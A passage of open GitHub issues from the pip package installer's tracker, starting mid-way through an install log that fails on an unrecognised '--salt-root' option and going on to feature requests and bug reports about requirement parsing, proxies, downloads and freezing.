    warning: no previously-included files matching '*.pyc' found under directory 'docs'
    warning: no previously-included files matching '*.pyo' found under directory 'jinja2'
    warning: no previously-included files matching '*.pyo' found under directory 'docs'
Downloading/unpacking M2Crypto (from salt)
  Downloading M2Crypto-0.22.3.tar.gz (74kB): 74kB downloaded
  Running setup.py (path:/tmp/ve-test/build/M2Crypto/setup.py) egg_info for package M2Crypto

Downloading/unpacking msgpack-python (from salt)
  Downloading msgpack-python-0.4.2.tar.gz (114kB): 114kB downloaded
  Running setup.py (path:/tmp/ve-test/build/msgpack-python/setup.py) egg_info for package msgpack-python

Downloading/unpacking pycrypto (from salt)
  Downloading pycrypto-2.6.1.tar.gz (446kB): 446kB downloaded
  Running setup.py (path:/tmp/ve-test/build/pycrypto/setup.py) egg_info for package pycrypto

Downloading/unpacking PyYAML (from salt)
  Downloading PyYAML-3.11.tar.gz (248kB): 248kB downloaded
  Running setup.py (path:/tmp/ve-test/build/PyYAML/setup.py) egg_info for package PyYAML

Downloading/unpacking pyzmq>=2.2.0 (from salt)
  Downloading pyzmq-14.3.1.tar.gz (982kB): 982kB downloaded
  Running setup.py (path:/tmp/ve-test/build/pyzmq/setup.py) egg_info for package pyzmq

    no previously-included directories found matching 'docs/build'
    no previously-included directories found matching 'docs/gh-pages'
    warning: no previously-included files found matching 'bundled/zeromq/src/Makefile*'
    warning: no previously-included files found matching 'bundled/zeromq/src/platform.hpp'
    warning: no previously-included files found matching 'setup.cfg'
    warning: no previously-included files found matching 'zmq/libzmq*'
    warning: no previously-included files matching '__pycache__/*' found anywhere in distribution
    warning: no previously-included files matching '.deps/*' found anywhere in distribution
    warning: no previously-included files matching '*.so' found anywhere in distribution
    warning: no previously-included files matching '*.pyd' found anywhere in distribution
    warning: no previously-included files matching '.git*' found anywhere in distribution
    warning: no previously-included files matching '.DS_Store' found anywhere in distribution
    warning: no previously-included files matching '.mailmap' found anywhere in distribution
    warning: no previously-included files matching 'Makefile.am' found anywhere in distribution
    warning: no previously-included files matching 'Makefile.in' found anywhere in distribution
Downloading/unpacking MarkupSafe (from salt)
  Downloading MarkupSafe-0.23.tar.gz
  Running setup.py (path:/tmp/ve-test/build/MarkupSafe/setup.py) egg_info for package MarkupSafe

Downloading/unpacking apache-libcloud (from salt)
  Downloading apache_libcloud-0.14.1-py2.py3-none-any.whl (1.2MB): 1.2MB downloaded
Installing collected packages: salt, Jinja2, M2Crypto, msgpack-python, pycrypto, PyYAML, pyzmq, MarkupSafe, apache-libcloud
  Running setup.py install for salt
    2014.1.5
    package init file 'salt/templates/__init__.py' not found (or not a regular file)

    Installing salt-run script to /tmp/ve-test/bin
    Installing salt-minion script to /tmp/ve-test/bin
    Installing salt script to /tmp/ve-test/bin
    Installing salt-key script to /tmp/ve-test/bin
    Installing salt-call script to /tmp/ve-test/bin
    Installing salt-cp script to /tmp/ve-test/bin
    Installing salt-syndic script to /tmp/ve-test/bin
    Installing salt-ssh script to /tmp/ve-test/bin
    Installing salt-master script to /tmp/ve-test/bin
    Installing salt-cloud script to /tmp/ve-test/bin
  Running setup.py install for Jinja2
    usage: -c [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
       or: -c --help [cmd1 cmd2 ...]
       or: -c --help-commands
       or: -c cmd --help

    error: option --salt-root not recognized
    Complete output from command /tmp/ve-test/bin/python2 -c "import setuptools, tokenize;__file__='/tmp/ve-test/build/Jinja2/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-gFIT34-record/install-record.txt --single-version-externally-managed --compile --install-headers /tmp/ve-test/include/site/python2.7 --salt-root=/foo:
    usage: -c [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]

   or: -c --help [cmd1 cmd2 ...]

   or: -c --help-commands

   or: -c cmd --help



error: option --salt-root not recognized

----------------------------------------
Cleaning up...
Command /tmp/ve-test/bin/python2 -c "import setuptools, tokenize;__file__='/tmp/ve-test/build/Jinja2/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-gFIT34-record/install-record.txt --single-version-externally-managed --compile --install-headers /tmp/ve-test/include/site/python2.7 --salt-root=/foo failed with error code 1 in /tmp/ve-test/build/Jinja2
Storing debug log for failure in /home/vampas/.pip/pip.log
```

user: s0undt3ch
labels: kind: backwards incompatible: Would be backward incompatible
project: setuptools: Related to setuptools
state: awaiting PR: Feature discussed, PR is needed
issue_1689: state: open
title: parse name/version from pkg urls
body: in many cases, we could parse the name & version from standard packages in pkg URL requirements, 

i.e. know that `peppercorn-1.4.tar.gz` is project "peppercorn" and version "1.4"

and therefore have a real requirement object in the `req` attribute of our `InstallRequirement` objects, but we **don't** currently (and instead end up with an "unnamed" requirement in many cases), see https://github.com/pypa/pip/issues/804#issuecomment-13367174 for context.

user: qwcode
labels: type: enhancement: Improvements to functionality
C: unnamed reqs: Handling and processing unnamed requirements
issue_1479: state: open
title: Add a --save option to install ala npm's save option
body: What this would do is add the package to the requirements file specified along with the version number of it.

```
$ cat requirements.txt
old-package==1.0.0

$ pip install new-package --save requirements.txt

# Install logs, installs version 1.5.3 of new-package

$ cat requirements.txt
old-package==1.0.0
new-package==1.5.3
```

I think it would also be great if it included the dependencies but maybe put a comment in there about them, or maybe that would be another option.

user: wraithan
labels: type: enhancement: Improvements to functionality
issue_1351: state: open
title: Allow staging installs to an alternate directory
body: Hi,
as noted in https://github.com/pypa/pip/issues/991#issuecomment-29504200, I'm currently trying to adapt pip to be acceptable as a tool used to install wheels during RPM build. Apart from the mentioned issue, I also have one more problem:
During RPM build, we install the wheel into /somepath/BUILDROOT/package-1.2.3-1/. This turns out to be problematic with, since for entry_points/console_scripts, the whole path gets into wheel RECORD, e.g. /somepath/BUILDROOT/package-1.2.3-1/usr/bin/somebin. This is of course problem, since when the RPM gets installed, the file is in standard /usr/bin directory. Therefore I created a patch that adds "--strip-file-prefix <prefix>" option to "pip install", that allows specifying arbitrary prefix path that will get strip from script paths. It's at my fork at https://github.com/bkabrda/pip/commit/aefacbb76661520415a1c35028f2984e70cfe0bf. Would this be acceptable for you? If not, is there a way to make it acceptable?
Thanks!

_Edit: Later on in this thread we've settled on using --stage-dir to stage installations to a different directory._

user: bkabrda
labels: type: maintenance: Related to Development and Maintenance Processes
issue_1289: state: open
title: refactor pip's use of "#egg=" 
body: I suspect pip doesn't really need the"egg=" value (assuming we make some modifications)

setuptools used it in two cases:
- installing single py files (which pip doesn't support I guess?)
- installing from svn urls

pip's support is like so:
1. officially documented for vcs urls (it determines the src or build dir, depending on whether it's editable, and also determine's it's identification in the dependency resolution process.)
2. although not documented, I've seen users (including myself) tack "egg=" onto archive urls (that currently don't get their sdist filenames parsed, as you would expect (see #804), so using "egg=" for them makes them have a set build dir)

3 changes are needed, to make pip not require "egg=":
1.  do away with the --no-install/--no-download "workflow"  (see #906),  which assumes fixed build dirs, and then drop fixed build dirs all together.  
2.  make it a tested feature that non-specifier requirements (i.e. vcs urls, archive urls and paths) get processed first (i.e. unpacked and have their name/version determined), so they can properly participate in the dependency resolution process. this is currently true but not very prominent in the code and not tested afaict.
3. when doing editable intalls from vcs urls, use some other approach to determine the "src" directory.  Maybe just unpack it to /tmp, then determine the name, then move it back into src.

even if it turns out `#egg=`is not used in any way by pip, it may be important to document a convention as visual aid (possibly as `#pkg=`, see #1265), when the vcs url would otherwise contain no clear indication as to what it is.  I know for example that various CM modules for chef and puppet make use of this indicator

user: qwcode
labels: type: enhancement: Improvements to functionality
C: dependency resolution: About choosing which dependencies to install
C: unnamed reqs: Handling and processing unnamed requirements
state: awaiting PR: Feature discussed, PR is needed
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_1182: state: open
title: Add support for NTLM proxies
body: Pip doesn't work—it times out—in my office because our computers are behind an evil proxy. It still doesn't work even after specifying the http_proxy environment variable per http://docs.python.org/2/library/urllib.html

The problem is the proxy uses a proprietary technology called NTLM that `urllib` (or whatever http client Pip uses) can't cope with  https://en.wikipedia.org/wiki/NTLM 

This problem isn't peculiar to Pip--other Python and Ruby and Nodejs break too--but the problem is fatal to Pip users. Python's strength is its great libraries (Numpy, Beautiful Soup, Pandas and so on). Behind a NTLM proxy, these are inaccessible and Python development essentially impossible. 

On my computer, I've installed all these packages from source (T-E-D-I-O-U-S), but that doesn't help my colleagues when I send them a 'handy ten line Python script'. It fails with an import error. We spend a quarter of an hour installing the dependency chain from source. Oh, they say, I heard Python was easy to use.

---

Maybe these libraries could help https://code.google.com/p/python-ntlm/  https://github.com/requests/requests-ntlm

user: hickford
labels: type: enhancement: Improvements to functionality
C: proxy: Dealing with proxies and networking
issue_831: state: open
title: pip install --download throws error when used with setup.py file
body: So here's the case, If i do 

`pip install /path/to/mypackage`

it works like expected extract proper requirements and install everything that is defined in mypackage setup.py file.

When i do

```
 mkdir /tmp/downloadcache
 pip install --download /tmp/downloadcache /path/to/mypackage
```

It throws an exception:

```
------------------------------------------------------------
/home/ubuntu/.virtualenvs/xxx/bin/pip run on Fri Mar  8 12:56:30 2013
Unpacking /appz/mypackage

  Running setup.py egg_info for package from file:///appz/mypackage

    Traceback (most recent call last):

      File "<string>", line 16, in <module>

    IOError: [Errno 2] No such file or directory: '/tmp/pip-AZvxJb-build/setup.py'

    Complete output from command python setup.py egg_info:

    Traceback (most recent call last):

  File "<string>", line 16, in <module>

IOError: [Errno 2] No such file or directory: '/tmp/pip-AZvxJb-build/setup.py'

----------------------------------------

Command python setup.py egg_info failed with error code 1 in /tmp/pip-AZvxJb-build

Exception information:
Traceback (most recent call last):
  File "/home/ubuntu/.virtualenvs/xxx/local/lib/python2.7/site-packages/pip/basecommand.py", line 139, in main
    status = self.run(options, args)
  File "/home/ubuntu/.virtualenvs/xxx/local/lib/python2.7/site-packages/pip/commands/install.py", line 266, in run
    requirement_set.prepare_files(finder, force_root_egg_info=self.bundle, bundle=self.bundle)
  File "/home/ubuntu/.virtualenvs/xxx/local/lib/python2.7/site-packages/pip/req.py", line 1052, in prepare_files
    req_to_install.run_egg_info()
  File "/home/ubuntu/.virtualenvs/xxx/local/lib/python2.7/site-packages/pip/req.py", line 236, in run_egg_info
    command_desc='python setup.py egg_info')
  File "/home/ubuntu/.virtualenvs/xxx/local/lib/python2.7/site-packages/pip/util.py", line 662, in call_subprocess
    % (command_desc, proc.returncode, cwd))
InstallationError: Command python setup.py egg_info failed with error code 1 in /tmp/pip-AZvxJb-build

```

user: marcinkuzminski
labels: type: bug: A confirmed bug or unintended behavior
C: download: About fetching data from PyPI and other sources
C: error messages: Improving error messages
issue_825: state: open
title: Parallel downloads
body: How about having pip download all the packages in parallel instead of waiting for each one to finish before downloading the next?

After that is implemented, how about having pip start installing one package while it's downloading the next ones?

user: cool-RR
labels: type: enhancement: Improvements to functionality
resolution: deferred till PR: Further discussion will happen when a PR is made
issue_716: state: open
title: Add option to uninstall packages not in requirements file
body: Currently a requirements file is used to specify what packages should be installed (and how, in some cases).

I believe it would be useful to have an additional option to uninstall all packages that do _not_ appear in a supplied requirements file.

This would be useful for tightly controlling installing to a virtualenv or indeed any situation where you want to be absolutely confident that you have only the packages you desire.

Discussion on Stack Overflow: http://stackoverflow.com/questions/13176968/how-can-i-use-a-pip-requirements-file-to-uninstall-as-well-as-install-packages/

user: wodow
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
resolution: deferred till PR: Further discussion will happen when a PR is made
issue_625: state: open
title: pypy virtualenv workaround in test_pip
body: logging this issue to track the pypy virtualenv workaround in test_pip.
related to virtualenv issue: https://github.com/pypa/virtualenv/issues/306

commit: https://github.com/pypa/pip/commit/2264dc439892f6cef16b49127099ad739a14831c

user: qwcode
labels: C: tests: Testing and related things
kind: workaround: Is a workaround for a problem
project: pypy: PyPy specific
type: maintenance: Related to Development and Maintenance Processes
issue_484: state: open
title: build a command that gets information about a package
body: The summary displayed in pip search <package> is at times not sufficient to decide what to install.
A describe command could show more information about a package, like version number, homepage, long description.

user: anotherthomas
labels: type: enhancement: Improvements to functionality
UX: functionality research epic: Temporary label to link tickets to #8516
issue_192: state: open
title: Freezing local tarball packages suggests requirement change that doesn't work
body: When I put a local source tarball in a requirements file and freeze the resulting environment, pip says that it doesn't know what it would install and suggests the "#egg=PackageName" syntax:

```
failbowl:temp2 $ echo 'REQUIREMENT FILE CONTENTS' &&
cat requirements.txt &&
rm -rf env &&
echo 'BEGIN INSTALL' &&
pip install --no-deps -E env -r requirements.txt &&
echo 'BEGIN FREEZE' &&
(. env/bin/activate && pip freeze -r requirements.txt)

REQUIREMENT FILE CONTENTS
vendor/sf.phpsession-0.1.tar.gz
BEGIN INSTALL
Creating new virtualenv environment in env
  New python executable in env/bin/python
  Installing setuptools...done.....
Unpacking ./vendor/sf.phpsession-0.1.tar.gz
  Running setup.py egg_info for package from file:///Users/grb/temp/temp2/vendor/sf.phpsession-0.1.tar.gz
Installing collected packages: sf.phpsession
  Running setup.py install for sf.phpsession
    Skipping installation of /Users/grb/temp/temp2/env/lib/python2.6/site-packages/sf/__init__.py (namespace package)
    Installing /Users/grb/temp/temp2/env/lib/python2.6/site-packages/sf.phpsession-0.1-py2.6-nspkg.pth
Successfully installed sf.phpsession
Cleaning up...
BEGIN FREEZE
Skipping line because it's not clear what it would install: vendor/sf.phpsession-0.1.tar.gz
  (add #egg=PackageName to the URL to avoid this warning)
## The following requirements were added by pip --freeze:
sf.phpsession==0.1
wsgiref==0.1.2
```

However, that syntax doesn't actually work for local files. The command below is the same as the previous command, but with "#egg=sf.phpsession" added to the requirement:

```
failbowl:temp2 $ echo 'REQUIREMENT FILE CONTENTS' &&
cat requirements.txt &&
rm -rf env &&
echo 'BEGIN INSTALL' &&
pip install --no-deps -E env -r requirements.txt
&& echo 'BEGIN FREEZE'
&& (. env/bin/activate && pip freeze -r requirements.txt)

REQUIREMENT FILE CONTENTS
vendor/sf.phpsession-0.1.tar.gz#egg=sf.phpsession
BEGIN INSTALL
Creating new virtualenv environment in env
  New python executable in env/bin/python
  Installing setuptools...done.....
Exception:
Traceback (most recent call last):
  File "/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pip-0.7.2-py2.6.egg/pip/basecommand.py", line 120, in main
    self.run(options, args)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pip-0.7.2-py2.6.egg/pip/commands/install.py", line 158, in run
    for req in parse_requirements(filename, finder=finder, options=options):
  File "/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pip-0.7.2-py2.6.egg/pip/req.py", line 1395, in parse_requirements
    req = InstallRequirement.from_line(line, comes_from)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pip-0.7.2-py2.6.egg/pip/req.py", line 98, in from_line
    return cls(req, comes_from, url=url)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pip-0.7.2-py2.6.egg/pip/req.py", line 38, in __init__
    req = pkg_resources.Requirement.parse(req)
  File "/Users/grb/temp/temp2/env/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg/pkg_resources.py", line 2510, in parse
    reqs = list(parse_requirements(s))
  File "/Users/grb/temp/temp2/env/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg/pkg_resources.py", line 2436, in parse_requirements
    line, p, specs = scan_list(VERSION,LINE_END,line,p,(1,2),"version spec")
  File "/Users/grb/temp/temp2/env/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg/pkg_resources.py", line 2404, in scan_list
    raise ValueError("Expected "+item_name+" in",line,"at",line[p:])
ValueError: ('Expected version spec in', 'vendor/sf.phpsession-0.1.tar.gz#egg=sf.phpsession', 'at', '/sf.phpsession-0.1.tar.gz#egg=sf.phpsession')

Storing complete log in /Users/grb/.pip/pip.log
```

I'm not sure whether this should be considered a bug in the suggestion message or a bug in the requirement parsing code (or, equally possible, a bug in my understanding of what I'm making pip do. :). It seems like I should be able to add "#egg=" to a local package install, so I'm leaning toward "a bug in the requirement parsing code."

---
- Bitbucket: https://bitbucket.org/ianb/pip/issue/129
- Originally Reported By: Gary Bernhardt
- Originally Created At: 2010-05-28 00:51:03

user: vbabiy
labels: type: bug: A confirmed bug or unintended behavior
C: freeze: 'pip freeze' related
state: needs discussion: This needs some more discussion
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)